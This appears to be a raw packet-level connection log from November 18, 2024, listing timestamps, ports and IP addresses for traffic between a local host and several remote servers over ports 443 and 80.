Nov 18, 2024 21:04:10.974459887 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.974487066 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.974560022 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.974658012 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.974669933 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.975462914 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.975476027 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.980133057 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.980632067 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.980638981 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:10.980927944 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:10.980931997 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.062083960 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.062733889 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.062788963 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.063190937 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.063210011 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.063225031 CET	49804	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.063231945 CET	443	49804	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.066503048 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.066530943 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.066602945 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.067419052 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.067435026 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.109262943 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.109411001 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.109505892 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.112873077 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.112873077 CET	49805	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.112890005 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.112915993 CET	443	49805	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.115274906 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.115309954 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.115375996 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.117358923 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.117373943 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.601881027 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.638133049 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.638195038 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.646043062 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.646097898 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.723433018 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.737354994 CET	49780	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:11.737665892 CET	49811	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:11.738883972 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.738899946 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.739275932 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.739279985 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.742721081 CET	80	49780	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:11.742780924 CET	80	49811	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:11.742789030 CET	49780	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:11.742851019 CET	49811	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:11.743136883 CET	49811	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:11.744838953 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.745197058 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.745218992 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.745659113 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.745666027 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.748235941 CET	80	49811	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:11.775358915 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.775525093 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.775594950 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.811892986 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.833878040 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.833878994 CET	49806	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.833913088 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.833939075 CET	443	49806	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.835547924 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.835563898 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.835911989 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.835918903 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.837769032 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.837805986 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.837857962 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.838229895 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.838243008 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.870703936 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.870780945 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.870860100 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.874682903 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.874684095 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.874699116 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.874707937 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.878381014 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.878493071 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.878547907 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.878649950 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.878774881 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.878807068 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.878823996 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.878870964 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.878906965 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.878923893 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.878943920 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.878950119 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.879390955 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.879808903 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.879817963 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.880466938 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.880471945 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.885473967 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.885492086 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.885631084 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.885860920 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.885871887 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.978475094 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.978559017 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.978646994 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.978810072 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.978822947 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.978837013 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.978843927 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.980815887 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.980904102 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:11.980997086 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.981093884 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:11.981118917 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:12.163566113 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:12.163897038 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:12.164071083 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:12.164071083 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:12.164071083 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:12.166445017 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:12.166474104 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:12.166553020 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:12.166677952 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:12.166690111 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:12.468597889 CET	49810	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:12.468615055 CET	443	49810	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:12.828151941 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:12.828205109 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:12.828486919 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:12.831562042 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:12.831604004 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:12.884649038 CET	80	49811	185.215.113.43	192.168.2.4
Nov 18, 2024 21:04:12.887298107 CET	49811	80	192.168.2.4	185.215.113.43
Nov 18, 2024 21:04:12.888631105 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:12.888943911 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:12.973799944 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:12.974102020 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:12.974195004 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:12.974219084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:12.974416971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:13.039896011 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.043230057 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.043258905 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.043777943 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.043787956 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.084920883 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:13.084940910 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.085361004 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.085444927 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.085836887 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.085850954 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.142472982 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.142961025 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.142973900 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.143322945 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.143327951 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.343107939 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.343282938 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.343606949 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.343754053 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.343776941 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.343831062 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.343837023 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.346893072 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.346940041 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.347119093 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.347261906 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.347280025 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.390964985 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.391127110 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.391252041 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.391252041 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.391275883 CET	49814	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.391283989 CET	443	49814	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.393647909 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.393682003 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.393744946 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.393883944 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.393901110 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.427098036 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.427273989 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.427350044 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.427383900 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.427400112 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.427438021 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.427444935 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.429794073 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.429871082 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.429958105 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.430100918 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.430136919 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.452562094 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.453321934 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.453339100 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.453752041 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.453757048 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.694868088 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.694979906 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.695022106 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.695180893 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.695197105 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.695209026 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.695219040 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.698162079 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.698205948 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.698273897 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.698446035 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:13.698470116 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:13.864721060 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:13.864826918 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:13.866322994 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:13.866337061 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:13.866755009 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:13.906354904 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:13.918335915 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:13.918379068 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:13.918452978 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:14.047626972 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.048176050 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.048258066 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.048700094 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.048717022 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.168648005 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.168752909 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.169358015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.169400930 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.169430971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.169471025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.171881914 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.171916962 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.171977997 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.175760031 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.175812960 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.175827980 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.175860882 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.178086042 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.178122997 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.178145885 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.178169966 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.179872036 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.179922104 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.212897062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.212982893 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.295785904 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.296825886 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.296880960 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.332132101 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.332218885 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.332721949 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.332788944 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.333723068 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.333782911 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.334429979 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.334481955 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.336652040 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.336718082 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.337049007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.337148905 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.339673996 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.339737892 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.340018034 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.340070963 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.343561888 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.343612909 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.343997955 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.344044924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.345671892 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.345726013 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.346198082 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.346242905 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.348912001 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.348965883 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.349370956 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.349416018 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.379554033 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.379554033 CET	49815	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.379590988 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.379620075 CET	443	49815	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.381130934 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.381187916 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.383656979 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.383692980 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.383718014 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.383749962 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.385447025 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.385539055 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.385622978 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.386117935 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.386156082 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.386346102 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.386380911 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.386388063 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.386476040 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.389137983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.389190912 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.389192104 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.389229059 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.389236927 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.389277935 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.409696102 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.416306019 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.416327000 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.426983118 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.426990032 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.431248903 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:14.431344032 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:14.431396008 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:14.444262981 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:14.444307089 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:14.444336891 CET	49817	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:14.444353104 CET	443	49817	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:14.479017973 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.479093075 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.479670048 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.479718924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.485038996 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.485100031 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.485886097 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.485934973 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.487087965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.487123966 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.487140894 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.487178087 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.494277000 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.494332075 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.494359016 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.494381905 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.496932030 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.496967077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.497000933 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.497029066 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.497793913 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.501353979 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.501499891 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.504599094 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.504636049 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.504671097 CET	49818	80	192.168.2.4	185.215.113.16
